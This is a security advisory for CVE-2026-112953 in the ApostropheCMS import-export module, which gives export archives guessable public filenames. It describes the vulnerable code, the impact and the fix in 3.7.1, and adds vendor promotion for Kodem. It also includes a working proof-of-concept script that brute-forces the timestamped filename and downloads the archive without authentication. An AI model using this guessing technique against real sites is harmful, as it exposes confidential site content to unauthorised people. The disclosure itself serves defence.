Summary
ApostropheCMS: Exposure of Sensitive Information via predictable export filenames
When a user exports content through @apostrophecms/import-export, the module copies the generated archive into uploadfs at /exports/ and returns a public URL under /uploads/exports/. The filename is fully deterministic: site shortName, document type, a YYYYMMDDHHmmss timestamp, and the format extension. There is no secret token.
Anyone who can guess that path can download the archive with a normal unauthenticated HTTP GET while the file is still present (10 minutes by default, longer if the site raises importExport.export.expiration). That is a different model from attachment URLs, which rely on hard-to-guess IDs.
Sites that disable export, store uploads on a private backend with no anonymous read, or serve /uploads only behind authentication are not hit by the network download step, but the predictable naming is still a design flaw for the default local/public uploadfs layout.
Import-only workflows and imports themselves are out of scope; this is specific to the export download URL.
Affected configurations
All of the following must apply:
- The
@apostrophecms/import-exportmodule is enabled and export is allowed for at least one page or piece type, and - Export files are served the usual way:
copyInto/exports/…and delivery via the publicuploadsURL (default local uploadfs or any deployment that exposes the same path without per-file auth).
If export is turned off per type or globally, or /uploads is not world-readable, an anonymous attacker cannot pull the file over HTTP, but a co-resident attacker with filesystem or bucket listing access would still see guessable names.
Details
Technical details
exportFile() in packages/import-export/lib/methods/export.js builds the name and publishes it:
const date = dayjs().format('YYYYMMDDHHmmss');
const filename = `${self.apos.shortName}-${req.body.type.toLowerCase()}-export-${date}${format.extension}`;
const downloadPath = path.join('/exports', filename);
await copyIn(filepath, downloadPath);
The admin UI sends type as the module name (e.g. article), which matches the filename. The download URL is only shown in the exporter’s notification; nothing binds the HTTP request to that user afterward. After expiration (default 1000 * 60 * 10 ms) a timer deletes the object from uploadfs, which limits exposure but leaves a brute-forceable window.
Proof of concept
The script boots a minimal Apostrophe app with import-export, performs an export as the task user, then downloads the same archive without a session, first by path guessing, then with raw fetch. It exits non-zero on failure.
Requirements: Node 18+, pnpm install at the monorepo root (so apostrophe and @apostrophecms/import-export resolve). Set APOSTROPHE_ROOT to the checkout path.
#!/usr/bin/env bash
set -euo pipefail
# --- config ---
APOSTROPHE_ROOT="${APOSTROPHE_ROOT:-}"
if [[ -z "${APOSTROPHE_ROOT}" || ! -f "${APOSTROPHE_ROOT}/packages/import-export/package.json" ]]; then
echo "Set APOSTROPHE_ROOT to your apostrophe monorepo checkout." >&2
exit 1
fi
export APOS_TEST_DB_PROTOCOL=sqlite
cd "${APOSTROPHE_ROOT}/packages/import-export"
# --- run embedded PoC (no extra repo files) ---
node <<'NODE'
const assert = require('node:assert/strict');
const path = require('node:path');
const dayjs = require('dayjs');
const t = require('apostrophe/test-lib/util.js');
(async () => {
let apos;
const shortName = 'poc-export-site';
const exportsPath = (root) => path.join(root, 'public/uploads/exports');
try {
apos = await t.create({
root: module,
testModule: true,
shortName,
modules: {
'@apostrophecms/express': {
options: { session: { secret: 'poc-export-secret' } }
},
'@apostrophecms/import-export': {
options: {
importExport: { export: { expiration: 60 * 1000 } }
}
},
'@apostrophecms/uploadfs': { options: { storage: 'local' } },
'home-page': { extend: '@apostrophecms/page-type' },
article: {
extend: '@apostrophecms/piece-type',
options: { alias: 'article', autopublish: true }
}
}
});
const importExport = apos.modules['@apostrophecms/import-export'];
const req = apos.task.getReq();
await apos.article.insert(req, {
...apos.article.newInstance(),
title: 'GHSA PoC confidential piece'
});
const articles = await apos.article.find(req).toArray();
assert.ok(articles.length > 0);
const exportStartedAt = dayjs();
req.body = {
_ids: articles.map((d) => d._id),
formatName: 'gzip',
type: 'article'
};
const { url: downloadUrl } = await importExport.export(req, apos.article);
const fileName = path.basename(downloadUrl);
const prefix = `${shortName}-article-export-`;
assert.ok(fileName.startsWith(prefix) && fileName.endsWith('.tar.gz'));
const timestamp = fileName.slice(prefix.length, -'.tar.gz'.length);
const onDisk = path.join(exportsPath(apos.rootDir), fileName);
assert.ok(require('node:fs').existsSync(onDisk));
const anon = await apos.http.get(downloadUrl, { fullResponse: true });
assert.equal(anon.status, 200);
assert.ok(Number(anon.headers['content-length'] || 0) > 0 || anon.body?.length > 0);
let bruteForced = null;
const center = exportStartedAt.startOf('second');
for (let offset = -3; offset <= 3; offset++) {
const ts = center.add(offset, 'second').format('YYYYMMDDHHmmss');
const candidate = `/uploads/exports/${shortName}-article-export-${ts}.tar.gz`;
try {
const probe = await apos.http.get(candidate, { fullResponse: true });
if (probe.status === 200) {
bruteForced = candidate;
break;
}
} catch (e) {
if (e.status !== 404) throw e;
}
}
assert.ok(bruteForced, 'brute force within ±3s failed');
const express = apos.modules['@apostrophecms/express'];
const base = `http://${express.address}:${express.port}`;
const ext = await fetch(`${base}${bruteForced}`);
assert.equal(ext.status, 200);
const bytes = await ext.arrayBuffer();
assert.ok(bytes.byteLength > 100);
console.log('OK: unauthenticated download', {
fileName,
bruteForced,
bytes: bytes.byteLength,
listenUrl: base
});
} finally {
if (apos) {
await t.destroy(apos);
}
}
})().catch((err) => {
console.error(err);
process.exit(1);
});
NODE
Expected output: a line similar toOK: unauthenticated download { fileName: 'poc-export-site-article-export-….tar.gz', …, bytes: <number>, listenUrl: 'http://127.0.0.1:…' }
Impact
- Confidentiality: An unauthenticated remote party can obtain a full export tarball (documents, metadata, attachment references, and bundled files for gzip export) that was meant for the editor who ran export. Content matches what that user was allowed to export, but the downloader does not need their session.
- Not in scope: The attacker cannot trigger export on their own (that still requires a logged-in user with export rights). Integrity and availability of the site are unchanged.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
- Put a high-entropy component in the export filename (e.g.
apos.util.generateId()), or - Stop publishing exports on a world-readable URL, serve downloads through an authenticated route and keep objects in a private prefix until then, or
- Document that
importExport.export.expirationmust stay short and treat/uploads/exports/as sensitive (weak on its own).
Frequently Asked Questions
- What is CVE-2026-112953? CVE-2026-112953 is a medium-severity security vulnerability in @apostrophecms/import-export (npm), affecting versions < 3.7.1. It is fixed in 3.7.1.
- Which versions of @apostrophecms/import-export are affected by CVE-2026-112953? @apostrophecms/import-export (npm) versions < 3.7.1 is affected.
- Is there a fix for CVE-2026-112953? Yes. CVE-2026-112953 is fixed in 3.7.1. Upgrade to this version or later.
- Is CVE-2026-112953 exploitable, and should I be worried? Whether CVE-2026-112953 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-112953 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-112953? Upgrade
@apostrophecms/import-exportto 3.7.1 or later.